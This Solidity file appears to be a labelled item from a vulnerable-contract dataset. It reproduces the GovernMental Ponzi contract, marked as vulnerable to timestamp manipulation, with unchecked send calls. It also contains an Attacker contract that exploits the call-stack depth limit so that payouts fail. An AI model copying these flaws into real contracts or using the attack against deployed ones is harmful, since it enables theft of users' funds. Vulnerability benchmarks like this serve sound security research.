54 lines
1.1 KiB
Solidity
54 lines
1.1 KiB
Solidity
|
/*
|
||
|
|
* @source: http://blockchain.unica.it/projects/ethereum-survey/attacks.html#governmental
|
||
|
|
* @author: -
|
||
|
|
* @vulnerable_at_lines: 27
|
||
|
|
*/
|
||
|
|
|
||
|
|
//added pragma version
|
||
|
|
pragma solidity ^0.4.0;
|
||
|
|
|
||
|
|
contract Governmental {
|
||
|
|
address public owner;
|
||
|
|
address public lastInvestor;
|
||
|
|
uint public jackpot = 1 ether;
|
||
|
|
uint public lastInvestmentTimestamp;
|
||
|
|
uint public ONE_MINUTE = 1 minutes;
|
||
|
|
|
||
|
|
function Governmental() {
|
||
|
|
owner = msg.sender;
|
||
|
|
if (msg.value<1 ether) throw;
|
||
|
|
}
|
||
|
|
|
||
|
|
function invest() {
|
||
|
|
if (msg.value<jackpot/2) throw;
|
||
|
|
lastInvestor = msg.sender;
|
||
|
|
jackpot += msg.value/2;
|
||
|
|
// <yes> <report> TIME_MANIPULATION
|
||
|
|
lastInvestmentTimestamp = block.timestamp;
|
||
|
|
}
|
||
|
|
|
||
|
|
function resetInvestment() {
|
||
|
|
if (block.timestamp < lastInvestmentTimestamp+ONE_MINUTE)
|
||
|
|
throw;
|
||
|
|
|
||
|
|
lastInvestor.send(jackpot);
|
||
|
|
owner.send(this.balance-1 ether);
|
||
|
|
|
||
|
|
lastInvestor = 0;
|
||
|
|
jackpot = 1 ether;
|
||
|
|
lastInvestmentTimestamp = 0;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
contract Attacker {
|
||
|
|
|
||
|
|
function attack(address target, uint count) {
|
||
|
|
if (0<=count && count<1023) {
|
||
|
|
this.attack.gas(msg.gas-2000)(target, count+1);
|
||
|
|
}
|
||
|
|
else {
|
||
|
|
Governmental(target).resetInvestment();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|